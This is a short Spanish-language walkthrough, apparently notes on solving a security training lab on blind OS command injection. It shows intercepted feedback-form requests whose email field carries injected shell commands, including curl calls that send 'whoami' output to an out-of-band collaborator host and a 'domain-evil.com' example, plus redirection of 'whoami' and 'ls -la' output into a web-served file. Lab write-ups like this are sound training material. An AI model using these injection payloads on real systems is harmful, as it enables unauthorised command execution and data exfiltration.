Blind OS command injection with output redirection
![[20251009012552.png]](/assets/20251009012552.D5kUO6sZ.png)
En el sitio web encontraremos un apartado de enviar nuestro feedback.
![[20251009012602.png]](/assets/20251009012602.Bmh6WhiL.png)
Interceptando el trafico observaremos que en el parámetro de email podemos agregar un ; y ejecutar comandos.
c
csrf=IBvnzLClfdsVeEIk3BwCSppv2BeNIFdx&name=test&email=x;curl%20http://sjfxvnjub6y8xrtxcf9zx2llvc13pwdl.oastify.com&subject=test&message=test![[20251009012931.png]](/assets/20251009012931.xOuExZOk.png)
![[20251009012948.png]](/assets/20251009012948.rfkClY03.png)
Al tener una ejecución ciega, podemos enviarnos un curl.
![[20251009013532.png]](/assets/20251009013532.CM_xO7Rk.png)
c
csrf=IBvnzLClfdsVeEIk3BwCSppv2BeNIFdx&name=test&email=x;curl%20http://wgg1srgy8avcuvq19j63u6ipsgy7m1aq.oastify.com/`whoami`&subject=test&message=testPara ver el el output de la ejecución de comandos como la salida de un whoami debemos ejecutar.
c
curl http://domain-evil.com/`whoami`c
`whoami`![[20251009013617.png]](/assets/20251009013617.EfOVT6tL.png)
De esta manera podemos ver el output, y ahora para resolver el laboratorio vamos a enviar el output del whoami en un archivo /var/www/images/output.txt
c
csrf=IBvnzLClfdsVeEIk3BwCSppv2BeNIFdx&name=test&email=x||whoami>/var/www/images/ouput.txt||&subject=test&message=testpor leer el contenido tenemos que ir al endpoint en filename=output.txt
![[20251009014212.png]](/assets/20251009014212.W1KRppG8.png)
c
csrf=IBvnzLClfdsVeEIk3BwCSppv2BeNIFdx&name=test&email=x;ls+-la>/var/www/images/ouput.txt;&subject=test&message=test![[20251009014139.png]](/assets/20251009014139.CAONCOEh.png)